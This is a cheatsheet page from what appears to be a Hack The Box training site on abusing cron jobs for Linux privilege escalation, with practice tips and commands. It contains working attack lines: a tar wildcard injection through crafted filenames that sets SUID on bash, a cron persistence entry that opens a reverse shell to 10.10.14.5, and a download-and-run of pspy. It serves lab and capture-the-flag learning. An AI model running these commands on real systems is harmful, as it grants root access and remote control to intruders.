Cron
Sub-technique of T1053 Scheduled Task/Job ↗
Abusing cron jobs run by root that use scripts or paths you can modify.
How it shows up on Hack The Box
If /etc/crontab shows nothing, run pspy and wait a couple of minutes: many root jobs are only visible when they run. Look for writable scripts and wildcards (tar *).
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Linux privilege escalation: cron jobs, PATH hijacking, wildcards and the docker or lxd groups 4 min read When sudo and SUID give nothing: cron jobs with pspy, PATH hijacking, tar and rsync wildcards, and root from the docker, lxd, disk or adm groups.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Linux privilege escalation › Checks
System cron
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily 2>/dev/null
systemd timers
systemctl list-timers --all
Watch processes as they start (pspy)
wget http://10.10.14.5/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
Without pspy (bash)
old=$(ps -eo cmd); while true; do new=$(ps -eo cmd); diff <(echo "$old") <(echo "$new") | grep '^[<>]'; old=$new; sleep 1; doneLinux privilege escalation › Exploitation
tar with a wildcard in a root cron
echo 'chmod u+s /bin/bash' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'C2 and post-exploitation › Persistence
cron
Target
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/10.10.14.5/443 0>&1") | crontab -pspy › Usage
Processes and file events, every second
Target
chmod +x pspy64 && ./pspy64 -pf -i 1000
On 32-bit systems
Target
./pspy32No command matches.